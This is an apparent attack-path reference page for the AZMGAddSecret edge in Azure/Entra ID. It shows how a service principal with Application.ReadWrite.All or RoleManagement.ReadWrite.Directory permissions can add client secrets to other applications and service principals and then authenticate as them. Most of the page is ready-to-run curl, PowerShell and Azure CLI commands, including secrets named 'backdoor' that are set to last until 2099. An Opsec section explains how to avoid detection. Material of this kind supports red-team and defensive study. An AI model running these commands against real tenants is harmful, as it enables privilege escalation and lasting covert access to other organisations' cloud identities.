AZMGAddSecret

The source service principal holds MS Graph app roles (Application.ReadWrite.All or RoleManagement.ReadWrite.Directory) that allow it to add client secrets or certificates to any app registration or service principal.

Applies to: AZServicePrincipal β†’ AZApplication / AZServicePrincipal


Linux Abuse

Get client credentials token

TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
  | jq -r '.access_token')

Add secret to app registration (Graph API)

curl -s -X POST "https://graph.microsoft.com/v1.0/applications/<object-id>/addPassword" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"passwordCredential": {"displayName": "backup", "endDateTime": "2099-01-01T00:00:00Z"}}' \
  | jq '{secretText: .secretText, keyId: .keyId}'

Add secret to service principal (Graph API)

curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/addPassword" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"passwordCredential": {"displayName": "backup"}}' \
  | jq '{secretText: .secretText, keyId: .keyId}'

Use new secret to authenticate as target SP

NEW_TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -d "client_id=<app-id>&client_secret=<new-secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
  | jq -r '.access_token')

Windows Abuse

BARK β€” get token and add secret

$MGToken = Get-MSGraphTokenWithClientCredentials `
  -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
  -ClientSecret "asdf..." `
  -TenantName "contoso.onmicrosoft.com"

New-EntraAppSecret `
  -AppRegObjectID "<object-id>" `
  -Token $MGToken.access_token

Authenticate as target SP with new secret

$SPToken = Get-MSGraphTokenWithClientCredentials `
  -ClientID "<target-app-id>" `
  -ClientSecret "<new-secret-value>" `
  -TenantName "contoso.onmicrosoft.com"

Microsoft.Graph PowerShell

Connect-MgGraph -AccessToken <access-token>

# Add secret to app registration
$secret = Add-MgApplicationPassword -ApplicationId <object-id> `
  -PasswordCredential @{DisplayName = "backdoor"; EndDateTime = "2099-01-01T00:00:00Z"}
$secret.SecretText

# Add secret to service principal
$secret = Add-MgServicePrincipalPassword -ServicePrincipalId <object-id> `
  -PasswordCredential @{DisplayName = "backdoor"}
$secret.SecretText

Azure CLI β€” add secret to app

az ad app credential reset \
  --id <app-id> \
  --append \
  --display-name backdoor \
  --years 10

Required App Roles

Permission App Role ID
Application.ReadWrite.All 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9
RoleManagement.ReadWrite.Directory 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8

Opsec

  • Audit event: "Update application - Certificates and secrets management" β€” logs actor, target app, timestamp.
  • The new secret value is only shown at creation time β€” capture it immediately.
  • Secrets set far in the future (2099) avoid expiry-based rotation detection.
  • Multiple secrets on one app may trigger anomaly alerts in mature environments.